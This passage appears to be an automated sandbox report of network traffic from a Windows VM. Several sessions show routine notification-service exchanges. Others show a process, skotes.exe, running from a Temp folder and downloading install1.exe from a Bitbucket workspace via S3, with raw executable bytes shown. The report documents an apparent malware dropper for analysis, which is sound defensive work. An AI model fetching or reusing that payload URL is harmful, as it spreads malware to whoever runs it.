2024-12-23 05:54:28 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 50 62 32 6a 78 66 59 2b 31 45 36 66 53 51 4a 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 35 33 33 35 36 31 33 65 35 32 34 63 30 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Pb2jxfY+1E6fSQJl.2Context: 695335613e524c0f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:54:28 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 50 62 32 6a 78 66 59 2b 31 45 36 66 53 51 4a 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 35 33 33 35 36 31 33 65 35 32 34 63 30 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: Pb2jxfY+1E6fSQJl.3Context: 695335613e524c0f
2024-12-23 05:54:29 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:54:29 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4d 51 59 78 51 77 34 6d 49 6b 32 68 39 71 74 72 42 6c 4e 47 36 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: MQYxQw4mIk2h9qtrBlNG6Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49929	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:54:37 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 37 50 31 5a 4b 68 6b 43 7a 30 71 50 61 75 30 4e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 35 32 32 65 32 36 33 65 66 32 63 30 61 39 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 7P1ZKhkCz0qPau0N.1Context: 8522e263ef2c0a94
2024-12-23 05:54:37 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:54:37 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 37 50 31 5a 4b 68 6b 43 7a 30 71 50 61 75 30 4e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 35 32 32 65 32 36 33 65 66 32 63 30 61 39 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 7P1ZKhkCz0qPau0N.2Context: 8522e263ef2c0a94<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:54:37 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 37 50 31 5a 4b 68 6b 43 7a 30 71 50 61 75 30 4e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 35 32 32 65 32 36 33 65 66 32 63 30 61 39 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 7P1ZKhkCz0qPau0N.3Context: 8522e263ef2c0a94<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-23 05:54:37 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:54:37 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 39 4f 37 51 49 64 61 36 6b 43 31 45 50 73 45 35 5a 37 52 68 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: A9O7QIda6kC1EPsE5Z7Rhg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49975	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:54:57 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 48 2b 79 70 72 69 55 46 52 6b 71 75 4a 4d 6e 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 64 63 65 64 63 63 39 36 66 64 62 35 61 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: H+ypriUFRkquJMn6.1Context: 30dcedcc96fdb5aa
2024-12-23 05:54:57 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:54:57 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 48 2b 79 70 72 69 55 46 52 6b 71 75 4a 4d 6e 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 64 63 65 64 63 63 39 36 66 64 62 35 61 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: H+ypriUFRkquJMn6.2Context: 30dcedcc96fdb5aa<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:54:57 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 48 2b 79 70 72 69 55 46 52 6b 71 75 4a 4d 6e 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 64 63 65 64 63 63 39 36 66 64 62 35 61 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: H+ypriUFRkquJMn6.3Context: 30dcedcc96fdb5aa<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-23 05:54:58 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:54:58 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 6f 65 6a 69 6e 36 67 49 55 65 51 57 2b 68 52 79 55 71 54 42 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: goejin6gIUeQW+hRyUqTBw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49977	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:54:59 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 61 71 69 64 59 2b 54 65 79 55 61 49 6e 63 53 74 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 37 32 38 39 30 62 63 30 62 36 66 31 38 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: aqidY+TeyUaIncSt.1Context: cd72890bc0b6f180
2024-12-23 05:54:59 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:54:59 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 61 71 69 64 59 2b 54 65 79 55 61 49 6e 63 53 74 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 37 32 38 39 30 62 63 30 62 36 66 31 38 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: aqidY+TeyUaIncSt.2Context: cd72890bc0b6f180<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:54:59 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 61 71 69 64 59 2b 54 65 79 55 61 49 6e 63 53 74 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 37 32 38 39 30 62 63 30 62 36 66 31 38 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: aqidY+TeyUaIncSt.3Context: cd72890bc0b6f180
2024-12-23 05:54:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:54:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 65 66 52 45 49 6c 41 34 68 45 32 4e 2f 2f 37 66 78 4b 65 69 4a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: efREIlA4hE2N//7fxKeiJg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50010	185.166.143.48	443	6220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:55:10 UTC	87	OUT	GET /mynewworkspace123312/scnd/downloads/install1.exe HTTP/1.1 Host: bitbucket.org
2024-12-23 05:55:10 UTC	5922	IN	HTTP/1.1 302 Found Date: Mon, 23 Dec 2024 05:55:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/0f40a96a-7848-4016-a203-07b519fba576/install1.exe?response-content-disposition=attachment%3B%20filename%3D%22install1.exe%22&AWSAccessKeyId=ASIA6KOSE3BNMPYV42BK&Signature=HvQKw%2B7rPC9Au0reM8tFmSjyUuM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJGMEQCIGcbaj75RfyE4qJo3r3XVFv3yUBNzTvyq65K5fo0tgFJAiBoqozV5jurczfh%2BSCdTr%2Fn0o5BgClG1HcRgZdtNDu93yqwAgjP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMwGEzkuCFvdAzAorpKoQC9rOOY%2BI9aQSdvhjp9yQkQR%2BzmsQ%2FvS%2Ffu3rooGSLI9RF%2BjTHdXIDSOVEiwEHtVbQj4MYo0iuUHRNTru1P5WbM%2Bj3wnTHjchLeS%2BeH%2BRqt0CTXmpgd%2FG9LbMamEWt35cejrsMqpQofhEIVwUdliGqM8qh8F4Uz9KIgeElsJB56QYm4jTT82WeAM5%2BP4qQGa6K3ZGnH5d8lIrzv3gZWPj8JnvWB7N7oKK0RjsAgF0jRlqkjB6eIUYvVVHnMZ%2B6I27DMzZfZdh3GEZopVh0PKDKAfMjEmv%2FiGoO1UqPQ%2FEoDIl3bCg3aJHEQ0fv5fF34PeoXDwxQCd3qP7aB5o0CYaDrK4xCI4w%2B%2FGjuwY6ngHSuzeaxXZkRxD7%2By%2Fm%2BxWiZgEW0o6lvpB7UK%2FNMTWVuL8jqr9PQ7SFCbwmTJLcrHo5FhiihendM5N5qfoHvDGjVn9Ny [TRUNCATED] Expires: Mon, 23 Dec 2024 05:55:10 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 8a64816306ca X-Version: c9b3998323c0 X-Static-Version: c9b3998323c0 X-Request-Count: 1661 X-Render-Time: 0.04931306838989258 X-B3-Traceid: 9f1cf3d5d339444a91433b2c26aef487 X-B3-Spanid: 19e684410dfa382e X-Frame-Options: SAMEORIGIN Content-Security-Policy: style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; base-uri 'self'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net atlassianblog.wpuser.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbu [TRUNCATED] X-Usage-Quota-Remaining: 999097.482 X-Usage-Request-Cost: 916.77 X-Usage-User-Time: 0.018092 X-Usage-System-Time: 0.009411 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 9f1cf3d5d339444a91433b2c26aef487 Atl-Request-Id: 9f1cf3d5-d339-444a-9143-3b2c26aef487 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=157,atl-edge-internal;dur=3,atl-edge-upstream;dur=155,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50016	16.182.37.145	443	6220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:55:12 UTC	1205	OUT	GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/0f40a96a-7848-4016-a203-07b519fba576/install1.exe?response-content-disposition=attachment%3B%20filename%3D%22install1.exe%22&AWSAccessKeyId=ASIA6KOSE3BNMPYV42BK&Signature=HvQKw%2B7rPC9Au0reM8tFmSjyUuM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJGMEQCIGcbaj75RfyE4qJo3r3XVFv3yUBNzTvyq65K5fo0tgFJAiBoqozV5jurczfh%2BSCdTr%2Fn0o5BgClG1HcRgZdtNDu93yqwAgjP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMwGEzkuCFvdAzAorpKoQC9rOOY%2BI9aQSdvhjp9yQkQR%2BzmsQ%2FvS%2Ffu3rooGSLI9RF%2BjTHdXIDSOVEiwEHtVbQj4MYo0iuUHRNTru1P5WbM%2Bj3wnTHjchLeS%2BeH%2BRqt0CTXmpgd%2FG9LbMamEWt35cejrsMqpQofhEIVwUdliGqM8qh8F4Uz9KIgeElsJB56QYm4jTT82WeAM5%2BP4qQGa6K3ZGnH5d8lIrzv3gZWPj8JnvWB7N7oKK0RjsAgF0jRlqkjB6eIUYvVVHnMZ%2B6I27DMzZfZdh3GEZopVh0PKDKAfMjEmv%2FiGoO1UqPQ%2FEoDIl3bCg3aJHEQ0fv5fF34PeoXDwxQCd3qP7aB5o0CYaDrK4xCI4w%2B%2FGjuwY6ngHSuzeaxXZkRxD7%2By%2Fm%2BxWiZgEW0o6lvpB7UK%2FNMTWVuL8jqr9PQ7SFCbwmTJLcrHo5FhiihendM5N5qfoHvDGjVn9NyW8Xk4NI8ApSY7v8kBV0ClMfDqGcqBSsN0yRcaQfiNXkF [TRUNCATED] Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-12-23 05:55:12 UTC	540	IN	HTTP/1.1 200 OK x-amz-id-2: 9PdQ5HAqmLFOzacI0R854r/W7WdZQitMpQSJMpJ2RaOj6/3dk4dGsH0hkBWIQB9DB/JA0YzaJB8= x-amz-request-id: TBDTMXBJ0TX53P4B Date: Mon, 23 Dec 2024 05:55:13 GMT Last-Modified: Sun, 22 Dec 2024 21:52:47 GMT ETag: "b222785fc8b8ba94c14d73c46c0c11c4" x-amz-server-side-encryption: AES256 x-amz-version-id: i_cfOXNloZeOrIO5AKZ8ruEP083xxbW5 Content-Disposition: attachment; filename="install1.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Content-Length: 91648 Server: AmazonS3 Connection: close
2024-12-23 05:55:13 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5d 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 14 01 00 00 4e 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL]@]2N0@
2024-12-23 05:55:13 UTC	484	IN	Data Raw: 44 24 10 f7 f1 89 da eb 41 89 c3 8b 4c 24 18 8b 54 24 14 8b 44 24 10 d1 eb d1 d9 d1 ea d1 d8 09 db 75 f4 f7 f1 89 c6 f7 64 24 1c 89 c1 8b 44 24 18 f7 e6 01 ca 72 0e 3b 54 24 14 77 08 72 07 3b 44 24 10 76 01 4e 31 d2 89 f0 4f 75 07 f7 da f7 d8 83 da 00 5b 5e 5f c2 10 00 00 00 cc cc cc cc 56 8b 44 24 14 0b c0 75 28 8b 4c 24 10 8b 44 24 0c 33 d2 f7 f1 8b d8 8b 44 24 08 f7 f1 8b f0 8b c3 f7 64 24 10 8b c8 8b c6 f7 64 24 10 03 d1 eb 47 8b c8 8b 5c 24 10 8b 54 24 0c 8b 44 24 08 d1 e9 d1 db d1 ea d1 d8 0b c9 75 f4 f7 f3 8b f0 f7 64 24 14 8b c8 8b 44 24 10 f7 e6 03 d1 72 0e 3b 54 24 0c 77 08 72 0f 3b 44 24 08 76 09 4e 2b 44 24 10 1b 54 24 14 33 db 2b 44 24 08 1b 54 24 0c f7 da f7 d8 83 da 00 8b ca 8b d3 8b d9 8b c8 8b c6 5e c2 10 00 ff 25 74 74 41 00 ff 25 78 74 Data Ascii: D$AL$T$D$ud$D$r;T$wr;D$vN1Ou[^_VD$u(L$D$3D$d$d$G\$T$D$ud$D$r;T$wr;D$vN+D$T$3+D$T$^%ttA%xt
